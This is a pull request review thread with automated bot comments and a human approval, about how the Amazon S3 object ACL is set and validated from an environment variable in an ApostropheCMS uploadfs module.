
📒 Files selected for processing (1)

• website/modules/@apostrophecms/uploadfs/index.js

[coderabbitai]

Actionable comments posted: 1

♻️ Duplicate comments (2)

website/modules/@apostrophecms/uploadfs/index.js (2)

35-38: ⚠️ Potential issue | 🟠 Major

This default conflicts with current LocalStack bootstrap ACL behavior.

init-localstack.sh (Lines 41-101 in the provided snippet) still provisions public ACL/policy (public-read, s3:PutObjectAcl). With Line 36 defaulting to 'private', local behavior diverges from runtime behavior and can break direct-object-access expectations in dev.

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@website/modules/`@apostrophecms/uploadfs/index.js around lines 35 - 38, The
default ACL constant aposS3BucketObjectsAcl currently defaults to 'private'
which conflicts with LocalStack bootstrap provisioning; change the default to
match the LocalStack bootstrap (e.g., 'public-read') or otherwise derive it from
the same env/flag used by init-localstack so uploadfsOptions.bucketObjectsACL
and uploadfsOptions.disabledBucketObjectsACL use the same ACL as the local
bootstrap; update the assignment for aposS3BucketObjectsAcl and ensure both
uploadfsOptions.bucketObjectsACL and uploadfsOptions.disabledBucketObjectsACL
are set from that corrected/defaulted value.

---

35-38: ⚠️ Potential issue | 🟠 Major

Don't force a default ACL value when APOS_S3_ACL is unset.

Lines 37–38 assign an ACL to every upload when process.env.APOS_S3_ACL is not set. This creates unnecessary coupling with infrastructure configuration. The LocalStack setup (init-localstack.sh) is configured for public access and public-read ACLs, but the app now defaults to sending 'private' ACL headers on every upload, creating a mismatch between app behavior and infrastructure expectations. Only set ACL options when explicitly configured.

Suggested fix

-const aposS3BucketObjectsAcl =
-  process.env.APOS_S3_ACL || 'private';
-uploadfsOptions.bucketObjectsACL = aposS3BucketObjectsAcl;
-uploadfsOptions.disabledBucketObjectsACL = aposS3BucketObjectsAcl;
+const aposS3BucketObjectsAcl = process.env.APOS_S3_ACL;
+if (aposS3BucketObjectsAcl) {
+  uploadfsOptions.bucketObjectsACL = aposS3BucketObjectsAcl;
+  uploadfsOptions.disabledBucketObjectsACL = aposS3BucketObjectsAcl;
+}

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@website/modules/`@apostrophecms/uploadfs/index.js around lines 35 - 38, The
code unconditionally sets uploadfsOptions.bucketObjectsACL and
uploadfsOptions.disabledBucketObjectsACL to a default 'private' via
aposS3BucketObjectsAcl even when process.env.APOS_S3_ACL is unset; change this
so these properties are only assigned when APOS_S3_ACL is explicitly provided:
check process.env.APOS_S3_ACL, and if it is defined (non-empty), set
aposS3BucketObjectsAcl and then assign uploadfsOptions.bucketObjectsACL and
uploadfsOptions.disabledBucketObjectsACL; otherwise leave those uploadfsOptions
fields undefined so no ACL header is forced.

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@website/modules/`@apostrophecms/uploadfs/index.js:
- Around line 35-36: Validate the APOS_S3_ACL env value at startup before it is
used: define the allowed canned ACLs array (private, public-read,
public-read-write, authenticated-read, aws-exec-read, bucket-owner-read,
bucket-owner-full-control), read process.env.APOS_S3_ACL into
aposS3BucketObjectsAcl as currently done, check that aposS3BucketObjectsAcl is
one of the allowed values, and if not log a clear error and exit (or throw) so
the app fails fast; update the initialization around the aposS3BucketObjectsAcl
assignment in index.js to perform this whitelist check and fail immediately on
invalid values.

---

Duplicate comments:
In `@website/modules/`@apostrophecms/uploadfs/index.js:
- Around line 35-38: The default ACL constant aposS3BucketObjectsAcl currently
defaults to 'private' which conflicts with LocalStack bootstrap provisioning;
change the default to match the LocalStack bootstrap (e.g., 'public-read') or
otherwise derive it from the same env/flag used by init-localstack so
uploadfsOptions.bucketObjectsACL and uploadfsOptions.disabledBucketObjectsACL
use the same ACL as the local bootstrap; update the assignment for
aposS3BucketObjectsAcl and ensure both uploadfsOptions.bucketObjectsACL and
uploadfsOptions.disabledBucketObjectsACL are set from that corrected/defaulted
value.
- Around line 35-38: The code unconditionally sets
uploadfsOptions.bucketObjectsACL and uploadfsOptions.disabledBucketObjectsACL to
a default 'private' via aposS3BucketObjectsAcl even when process.env.APOS_S3_ACL
is unset; change this so these properties are only assigned when APOS_S3_ACL is
explicitly provided: check process.env.APOS_S3_ACL, and if it is defined
(non-empty), set aposS3BucketObjectsAcl and then assign
uploadfsOptions.bucketObjectsACL and uploadfsOptions.disabledBucketObjectsACL;
otherwise leave those uploadfsOptions fields undefined so no ACL header is
forced.

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

Run ID: 380d1ef5-e3d1-4969-b7f3-37b8b89f0db1

📥 Commits

Reviewing files that changed from the base of the PR and between acf6e8b and f66727f.

📒 Files selected for processing (1)

• website/modules/@apostrophecms/uploadfs/index.js

[coderabbitai]

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@website/modules/`@apostrophecms/uploadfs/index.js:
- Around line 35-37: The ACL logic sets uploadfsOptions.bucketObjectsACL and
uploadfsOptions.disabledBucketObjectsACL unconditionally using
aposS3BucketObjectsAcl which defaults to 'private'; instead, read
process.env.APOS_S3_ACL into a variable and only assign
uploadfsOptions.bucketObjectsACL and uploadfsOptions.disabledBucketObjectsACL
when APOS_S3_ACL is explicitly defined (non-undefined), leaving those properties
absent (or null) for ACL-disabled buckets; update references to
aposS3BucketObjectsAcl/APOS_S3_ACL accordingly so the code mirrors the
optional-setting pattern used elsewhere in this module.

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

Run ID: 97d01d27-db08-4a62-ac51-bc575fc8a828

📥 Commits

Reviewing files that changed from the base of the PR and between f66727f and 8a81f82.

📒 Files selected for processing (1)

• website/modules/@apostrophecms/uploadfs/index.js

[coderabbitai]

♻️ Duplicate comments (1)

website/modules/@apostrophecms/uploadfs/index.js (1)

35-38: ⚠️ Potential issue | 🟡 Minor

Fail fast on invalid APOS_S3_ACL values.

This still accepts any truthy string and forwards it to S3 via uploadfs; invalid canned ACL values will fail at upload time instead of at startup. Add a whitelist check and throw on invalid values.

What are the currently valid Amazon S3 canned ACL values for PutObject / x-amz-acl, and are non-listed values rejected?

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@website/modules/`@apostrophecms/uploadfs/index.js around lines 35 - 38,
Validate the APOS_S3_ACL value against the allowed Amazon S3 canned ACL list
before assigning it to uploadfsOptions: check the environment variable
aposS3BucketObjectsAcl and if present ensure it matches one of the official
canned ACLs (private, public-read, public-read-write, aws-exec-read,
authenticated-read, bucket-owner-read, bucket-owner-full-control,
log-delivery-write); if it does not match, throw an Error during startup so the
process fails fast instead of passing an invalid value to
uploadfsOptions.bucketObjectsACL and uploadfsOptions.disabledBucketObjectsACL.
Ensure the check references the existing variable name aposS3BucketObjectsAcl
and the option properties uploadfsOptions.bucketObjectsACL /
uploadfsOptions.disabledBucketObjectsACL so the invalid value is rejected at
boot.

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Duplicate comments:
In `@website/modules/`@apostrophecms/uploadfs/index.js:
- Around line 35-38: Validate the APOS_S3_ACL value against the allowed Amazon
S3 canned ACL list before assigning it to uploadfsOptions: check the environment
variable aposS3BucketObjectsAcl and if present ensure it matches one of the
official canned ACLs (private, public-read, public-read-write, aws-exec-read,
authenticated-read, bucket-owner-read, bucket-owner-full-control,
log-delivery-write); if it does not match, throw an Error during startup so the
process fails fast instead of passing an invalid value to
uploadfsOptions.bucketObjectsACL and uploadfsOptions.disabledBucketObjectsACL.
Ensure the check references the existing variable name aposS3BucketObjectsAcl
and the option properties uploadfsOptions.bucketObjectsACL /
uploadfsOptions.disabledBucketObjectsACL so the invalid value is rejected at
boot.

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

Run ID: 9c1fda04-78b2-43c7-a065-1d0f4ebed7cc

📥 Commits

Reviewing files that changed from the base of the PR and between 8a81f82 and 915012c.

📒 Files selected for processing (1)

• website/modules/@apostrophecms/uploadfs/index.js

[IhorMasechko]

LGTM!